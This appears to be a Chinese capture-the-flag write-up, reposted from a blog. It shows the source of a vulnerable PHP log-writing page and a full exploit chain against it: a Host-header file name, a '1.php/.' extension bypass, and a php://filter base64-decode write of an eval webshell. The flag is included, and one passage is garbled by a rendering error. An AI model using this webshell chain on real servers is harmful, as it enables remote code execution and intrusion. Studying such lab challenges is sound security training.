-
获得源码:
http://ip:port/?read-source=1
<?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output;
-
解题思路:
- 源码分析,可知我们当前路径是在
/data/md5($_SERVER['REMOTE_ADDR'])
下。通过POST我们可以传入两个参数: domain,最终生成文件。对KaTeX parse error: Expected 'EOF', got '&' at position 113: …lchars(),将特殊字符(&̲,",',<,>)转换为HTM…output,作为文件的内容。再对 _SERVER[‘SERVER_NAME’],再对其后缀名进行判断,作为文件的名字。 - 通过对源码的分析,我们应有如下思路:
有了escapeshellarg()和htmlspecialchars(),命令注入行不通了。
正道应该是通过可控参数文件名和文件内容,传入文件实现RCE
由于存在htmlspecialchars(),难以突破。通过BASE64编码绕过,再通过伪协议解析文件内容再写入新文件,最后再绕过后缀名,完事
- 源码分析,可知我们当前路径是在
-
Do it:
-
控制文件名:
可知DATA_DIR是/data/md5($_SERVER['REMOTE_ADDR'])
自己算一下可知是/data/580d83a45e88eb6b9e247cb5ee888fb1/
最后的文件名是:$log_name = $_SERVER['SERVER_NAME'] . $log_name;
其中$_SERVER['SERVER_NAME']
在本题是取REQUEST中HOST的值
过后缀名可以通过1.php/.
来绕过过滤 -
控制文件内容:
由于要对文件内容Base64编码,所以要保证在payload之前的字符数量是4的倍数。
然后对<?php @eval($_GET['sh']);?>
进行base64编码,发现结果会有等号,并且在之后上传的过程中页面为空白。可能是因为两个过滤函数对符号的干扰,所以构建base64时需补齐构建出无符号字符串。 -
通过伪协议上传:
因为存在file_put_contents($log_name, $output)
,其第一个参数可以传入stream,即可以传入伪协议
构建payload:Host:php #php://filter/write 将$output解码并写入1.php domain=PD9waHAgQGV2YWwoJF9HRVRbJ3MnXSk7Pz5h&log=://filter/write=convert.base64-decode/resource=1.php/.
之后通过传入sh参数即可获得flag:
flag{8fd9046cde2d53d1ceea8970286fd38c}
-
利用文件操作函数结合PHP伪协议RCE
猜你喜欢
转载自blog.csdn.net/u013457794/article/details/89010272
今日推荐
周排行